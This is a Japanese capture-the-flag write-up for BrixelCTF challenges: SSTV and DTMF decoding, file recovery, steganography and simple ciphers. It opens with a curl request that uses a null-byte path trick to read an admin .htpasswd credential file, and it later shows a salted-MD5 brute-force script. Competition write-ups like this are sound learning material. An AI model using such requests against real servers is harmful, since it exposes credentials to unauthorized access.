$ curl http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd%00.php Great work! the flag is brixelCTF{outdated_php}
A message from space (Forensics 10)
wavの画像受信データがありそうなので、sstvのツールでデコードしてみる。
$ sstv -d recording.wav -o flag.png [sstv] Searching for calibration header... Found! [sstv] Detected SSTV mode Scottie 1 [sstv] Decoding image... [#############################################] 100% [sstv] Drawing image data... [sstv] ...Done!
brixelCTF{SP4C3L4B}
Lottery ticket (Forensics 10)
Stegsolveで開き、Red plane 0で見てみると、4つの数字だけはっきり見える。
42, 88, 25, 48
フラグとなる合計値は203
203
Lost evidence (Forensics 30)
証拠から容疑者が何を買ったか答える。
OSFMountでマウントし、マウントしたドライブの削除ファイルをRecuvaでスキャンし復元する。[000001].wav, [000002].wavが復元されるが、同じものなので、片方だけ解析する。
DTMFの音声が入っているので、https://unframework.github.io/dtmf-detect/でデコードする。
2125554240 546669 1609 2 533266 5000 1 8449903336667770844330222666222244466330227778844 2
a.algag jgow .m w a jean j . thx for the cocaine bruh a
brixelCTF{cocaine}
Doc-ception (Steganography 10)
loremipsum.docxを解凍すると、展開されたファイルの中にloremipsum.docxがある。さらに解凍し、展開すると、flag.txtがあり、そこにフラグが書いてある。
flag = openxml
openxml
Scan me (Steganography 10)
QRコードの中の右上の方にまたQRコードがあるので、切り取って読み取る。
http://www.timesink.be/qrcode/flag.html
ここにアクセスすると、バーコードが記載されていて、答えるページになっている。
https://online-barcode-reader.inliteresearch.com/でバーコードを読み取る。
コードのタイプは「Code128」 デコード結果は code-128-easy
答えると、次のコードが表示される。
再び読み取り、答える。
コードのタイプは「Ean13」 デコード結果は 5449000133335
答えると、またコードが表示される。
再び読み取り、答える。
コードのタイプは「Pdf417」 デコード結果は congratulations_this_is_the_last_barcode
3つ目のバーコードに答えると、フラグが表示された。
brixelCTF{m4st3r_0f_sc4n5}
Rufus the vampire cat (Steganography 15)
$ steghide extract -sf rufus.jpg -p "" wrote extracted data to "steganopayload639.txt". $ cat steganopayload639.txt You thought this was a cute cat picture? NOPE! Chuck Testa! (the flag is: chucktesta)
chucktesta
Sea code (Cryptography 5)
Audacityで開くと、モールス信号のようになっていることがわかるので、書き出し、デコードする。
- .... . ..-. .-.. .- --. ..-. --- .-. - .... .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... ... . .- --. ..- .-.. .-..
THE FLAG FOR THIS CHALLENGE IS SEAGULL
SEAGULL
Merde (Cryptography 5)
フランスのメッセンジャーの暗号とのことなので、Vigenere暗号と推測する。
暗号は Vvr ktdk vl jvtzsyHBI{fnzcievs}、
平文は The flag is brixelCTF{????????}となると推測する。
1111111111222222 01234567890123456789012345 abcdefghijklmnopqrstuvwxyz v(21) <- t(19) +2 v(21) <- h(07) +14 r(17) <- e(04) +13 k(10) <- f(05) +5 t(19) <- l(11) +8 d(03) <- a(00) +3
KEYは途中まで見て、"CONFID"となっている。問題文の "confidentiel" が鍵のようだ。
https://www.dcode.fr/vigenere-cipherで復号する。
The flag is brixelCTF{baguette}
brixelCTF{baguette}
Merda (Cryptography 5)
シーザー暗号と推測する。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 5: the flag is brixelCTF{pizzanapoli}
brixelCTF{pizzanapoli}
s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜ (Cryptography 10)
base64デコード、2進数デコードの順でデコードする。
enc = 'MDExMTAxMDAgMDExMDEwMDAgMDExMDAxMDEgMDAxMDAwMDAgMDExMDAxMTAgMDExMDExMDAgMDExMDAwMDEgMDExMDAxMTEgMDAxMDAwMDAgMDExMDEwMDEgMDExMTAwMTEgMDAxMDAwMDAgMDExMDAwMTAgMDExMTAwMTAgMDExMDEwMDEgMDExMTEwMDAgMDExMDAxMDEgMDExMDExMDAgMDEwMDAwMTEgMDEwMTAxMDAgMDEwMDAxMTAgMDExMTEwMTEgMDExMTAwMTAgMDExMDExMTEgMDExMDAwMTAgMDExMDExMTEgMDExMDAwMTEgMDExMDExMTEgMDExMTAwMDAgMDExMTExMDE=' enc = enc.decode('base64').split(' ') dec = '' for c in enc: dec += chr(int(c, 2)) print dec
実行結果は以下の通り。
the flag is brixelCTF{robocop}
brixelCTF{robocop}
Scheiße (Cryptography 10)
エニグマ。https://cryptii.com/pipes/enigma-machineで復号する。
derfl agist sauer kraut
ドイツ語になっている。
der flag ist sauerkraut
sauerkraut
Don't be salty (Cryptography 20)
英小文字5文字のブルートフォースでパスワードを求める。
import itertools import string import hashlib h = '2bafea54caf6f8d718be0f234793a9be' salt = '04532@#!!' for c in itertools.product(string.lowercase, repeat=5): passwd = ''.join(c) if hashlib.md5(passwd + salt).hexdigest() == h: print passwd break
brute
Survey (Survey 10)
アンケートに答えたら、フラグが表示された。
brixelCTF{th4nk5_f0r_pl4y1ng}